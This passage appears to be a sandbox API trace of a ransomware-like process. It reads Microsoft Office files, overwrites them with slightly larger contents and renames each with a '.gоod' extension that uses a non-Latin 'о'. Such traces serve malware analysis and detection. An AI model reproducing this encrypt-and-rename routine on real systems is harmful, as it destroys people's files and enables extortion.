lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87c3fba9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600)) returned 1 [0234.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0234.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs.gоod")) returned 1 [0234.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0234.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), fInfoLevelId=0x0, lpFileInformation=0x38c1ab0 | out: lpFileInformation=0x38c1ab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f484)) returned 1 [0234.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0234.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0234.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.136] GetFileType (hFile=0x82c) returned 0x1 [0234.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0234.136] GetFileType (hFile=0x82c) returned 0x1 [0234.136] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0234.136] ReadFile (in: hFile=0x82c, lpBuffer=0x38c1ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38c1ee8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0234.138] CloseHandle (hObject=0x82c) returned 1 [0234.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0234.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.138] GetFileType (hFile=0x82c) returned 0x1 [0234.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0234.138] GetFileType (hFile=0x82c) returned 0x1 [0234.138] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1f484 [0234.139] WriteFile (in: hFile=0x82c, lpBuffer=0x38c31b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38c31b0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0234.139] CloseHandle (hObject=0x82c) returned 1 [0234.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0234.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.140] GetFileType (hFile=0x82c) returned 0x1 [0234.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0234.140] GetFileType (hFile=0x82c) returned 0x1 [0234.140] ReadFile (in: hFile=0x82c, lpBuffer=0x38c54b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38c54b0*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0234.168] CloseHandle (hObject=0x82c) returned 1 [0234.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0234.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0234.168] GetFileType (hFile=0x82c) returned 0x1 [0234.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0234.168] GetFileType (hFile=0x82c) returned 0x1 [0234.168] WriteFile (in: hFile=0x82c, lpBuffer=0x38c41f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x38c41f8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0234.169] CloseHandle (hObject=0x82c) returned 1 [0234.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS", lpFilePart=0x0) returned 0x48 [0234.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.gоod", lpFilePart=0x0) returned 0x4d [0234.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0234.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87c8c057, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f494)) returned 1 [0234.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0234.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.gоod")) returned 1 [0235.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", lpFilePart=0x0) returned 0x3f [0235.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0235.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), fInfoLevelId=0x0, lpFileInformation=0x3ad1178 | out: lpFileInformation=0x3ad1178*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0235.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0235.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", lpFilePart=0x0) returned 0x3f [0235.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0235.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.998] GetFileType (hFile=0x858) returned 0x1 [0235.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0235.998] GetFileType (hFile=0x858) returned 0x1 [0235.998] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0235.998] ReadFile (in: hFile=0x858, lpBuffer=0x3ad2170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3ad2170*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0236.000] CloseHandle (hObject=0x858) returned 1 [0236.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", lpFilePart=0x0) returned 0x3f [0236.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0236.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0236.035] GetFileType (hFile=0x858) returned 0x1 [0236.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0236.035] GetFileType (hFile=0x858) returned 0x1 [0236.035] WriteFile (in: hFile=0x858, lpBuffer=0x3b4db08*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3b4db08*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0236.037] CloseHandle (hObject=0x858) returned 1 [0236.037] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS", lpFilePart=0x0) returned 0x3f [0236.037] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.gоod", lpFilePart=0x0) returned 0x44 [0236.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0236.037] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x88e6dc8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0236.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0236.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPRING.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\spring.css.gоod")) returned 1 [0236.038] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", lpFilePart=0x0) returned 0x3c [0236.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0236.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), fInfoLevelId=0x0, lpFileInformation=0x3b4ed78 | out: lpFileInformation=0x3b4ed78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7c)) returned 1 [0237.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0237.703] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", lpFilePart=0x0) returned 0x3c [0237.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0237.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0237.704] GetFileType (hFile=0x860) returned 0x1 [0237.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0237.740] GetFileType (hFile=0x860) returned 0x1 [0237.740] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7c [0237.740] ReadFile (in: hFile=0x860, lpBuffer=0x36e8b28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x36e8b28*, lpNumberOfBytesRead=0x1f59dd38*=0xd7c, lpOverlapped=0x0) returned 1 [0237.742] CloseHandle (hObject=0x860) returned 1 [0237.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", lpFilePart=0x0) returned 0x3c [0237.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0237.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0237.770] GetFileType (hFile=0x860) returned 0x1 [0237.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0237.770] GetFileType (hFile=0x860) returned 0x1 [0237.770] WriteFile (in: hFile=0x860, lpBuffer=0x3764908*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3764908*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0237.771] CloseHandle (hObject=0x860) returned 1 [0237.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS", lpFilePart=0x0) returned 0x3c [0237.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.gоod", lpFilePart=0x0) returned 0x41 [0237.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0237.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x89ef8162, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0237.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0237.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SPS.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sps.css.gоod")) returned 1 [0237.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", lpFilePart=0x0) returned 0x3e [0237.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0237.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), fInfoLevelId=0x0, lpFileInformation=0x3765b68 | out: lpFileInformation=0x3765b68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0237.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0237.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", lpFilePart=0x0) returned 0x3e [0237.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0237.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0237.773] GetFileType (hFile=0x860) returned 0x1 [0237.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0237.773] GetFileType (hFile=0x860) returned 0x1 [0237.773] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0237.773] ReadFile (in: hFile=0x860, lpBuffer=0x3766b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3766b60*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0238.026] CloseHandle (hObject=0x860) returned 1 [0238.053] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", lpFilePart=0x0) returned 0x3e [0238.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0238.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0238.055] GetFileType (hFile=0x860) returned 0x1 [0238.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0238.055] GetFileType (hFile=0x860) returned 0x1 [0238.055] WriteFile (in: hFile=0x860, lpBuffer=0x385e6c0*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x385e6c0*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0238.056] CloseHandle (hObject=0x860) returned 1 [0238.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", lpFilePart=0x0) returned 0x3e [0238.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.gоod", lpFilePart=0x0) returned 0x43 [0238.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0238.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8a1a6bad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0238.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0238.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css.gоod")) returned 1 [0238.057] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STSLIST.CHM", lpFilePart=0x0) returned 0x40 [0238.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0238.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft 